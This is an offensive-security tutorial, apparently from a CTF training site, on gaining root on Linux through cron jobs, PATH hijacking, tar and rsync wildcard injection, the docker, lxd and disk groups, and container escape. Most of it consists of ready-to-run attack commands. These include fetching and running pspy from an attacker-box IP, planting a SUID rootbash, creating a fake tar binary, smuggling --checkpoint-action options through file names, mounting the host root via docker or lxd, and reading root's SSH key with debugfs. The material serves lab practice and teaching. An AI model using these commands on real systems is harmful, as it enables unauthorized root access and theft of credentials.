Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups

When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.

· 4 min read

This guide follows on from sudo, SUID and capabilities. If those three checks gave nothing, the next most common routes in the catalogue are something root runs on its own (a cron job) and a group worth as much as root (privileged groups).

id                      # which groups are you in?
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
systemctl list-timers --all

1. Cron jobs you cannot see

Often the job lives in root's crontab, which you cannot read. To see it, watch for processes as they appear: pspy does it without needing any privileges.

# on your box: python3 -m http.server 80
wget http://10.10.14.5/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000

Wait a couple of minutes. Look for lines with UID=0 that repeat every minute or every five:

CMD: UID=0  PID=4123 | /bin/sh -c /opt/backup/backup.sh
CMD: UID=0  PID=4125 | tar czf /var/backups/web.tgz *

That leaves three questions, and each one is a section of this guide:

  1. Can I write to the script or to something the script loads? → modify it.
  2. Does it call programs without an absolute path? → PATH hijacking.
  3. Does it use a wildcard (*) in a folder where I can create files? → wildcard injection.

Writable script

ls -la /opt/backup/backup.sh
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /opt/backup/backup.sh
# wait for the next minute
/tmp/rootbash -p

Also look at what the script imports: a .py doing import util looks for util.py in its own folder first (library hijacking); a script doing source /etc/app.conf runs whatever you put in that file.

2. PATH hijacking

If a script or a SUID binary runs tar instead of /usr/bin/tar, the system looks for tar in each PATH folder, in order. If you control a folder that comes first, your tar wins.

# Which PATH does cron use? Check /etc/crontab (the PATH=... line)
grep PATH /etc/crontab
# Is any folder in that PATH writable for you?
for d in $(echo "$PATH" | tr ':' ' '); do [ -w "$d" ] && echo "writable: $d"; done

With a SUID binary or a sudo rule with SETENV, you control the PATH yourself:

strings /usr/local/bin/tool | grep -v / | head   # program names without a path
cd /tmp && echo -e '#!/bin/bash\n/bin/bash -p' > tar && chmod +x tar
PATH=/tmp:$PATH /usr/local/bin/tool

On Writeup the trick is that the staff group can write to /usr/local/bin, which comes before /usr/bin in almost everyone's PATH.

3. Wildcards

When the shell expands *, file names become arguments. If a file is called --checkpoint=1, tar reads it as an option. This is wildcard injection.

# root runs, inside /var/www/html:  tar czf /tmp/backup.tgz *
cd /var/www/html
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

Other programs with dangerous options: rsync (-e sh shell.sh), chown and chmod (--reference=your_file) and 7z (@list reads a file that can be a symlink to /root/.ssh/id_rsa).

4. Groups worth as much as root

Group Why Abuse
docker You can start a container that mounts the host's / docker run -v /:/mnt --rm -it alpine chroot /mnt sh
lxd / lxc Same as docker, with a privileged container See below
disk Raw access to the disk debugfs /dev/sda1 then cat /root/.ssh/id_rsa
adm Reads the logs in /var/log Look for passwords in auth.log, apache2/access.log, auditd
shadow Reads /etc/shadow Crack the hashes (hash cracking guide)
video Reads the framebuffer Grab the screen of whoever is logged in
sudo / wheel / admin Can use sudo You only need the user's password

lxd step by step

# On your box: build a small Alpine image
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine
# On the target (upload the .tar.gz)
lxc image import ./alpine-*.tar.gz --alias pwn
lxc init pwn pwn -c security.privileged=true
lxc config device add pwn hostroot disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
cat /mnt/root/root/root.txt

If lxc init complains there is no storage, run lxd init --auto first. It is the root path on Tabby.

5. If you are inside a container

An odd hostname, a /.dockerenv or very few processes in ps aux tell you that you are in a container. Before looking for the escalation, get out of it (container escapes):

ls -la /.dockerenv; cat /proc/1/cgroup
ls -la /var/run/docker.sock               # if it exists, you control the host's docker
capsh --print | grep -i sys_admin         # privileged container: you can mount the host's disk
fdisk -l 2>/dev/null; mount | grep -v proc

With the Docker socket reachable, use the API to start a container that mounts / (curl --unix-socket /var/run/docker.sock ...), just like with the docker group.

Common errors

  • pspy shows nothing useful: give it more time; some jobs run every 5, 10 or 15 minutes. Try -f to also see file access.
  • /tmp/rootbash -p leaves you without root: /tmp is mounted with nosuid. Use another folder (/dev/shm, /var/tmp) or add your key to /root/.ssh/authorized_keys.
  • The --checkpoint files do nothing: the command does not use * but an absolute path (/var/www/html/* works; tar czf x.tgz /var/www/html does not).

What next

If none of this shows up, look at services listening only locally (ss -tlnp) and reach them with port forwarding; hunt for credentials in files and try password reuse. The post-exploitation checklist has the full order.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Cron jobs and processes 31 machines

See all 31 machines →

PATH hijacking 8 machines

See all 8 machines →

Wildcard injection 2 machines

Privileged groups 10 machines

See all 10 machines →

Container escape 16 machines

See all 16 machines →

Spotted a mistake or something missing? Tell us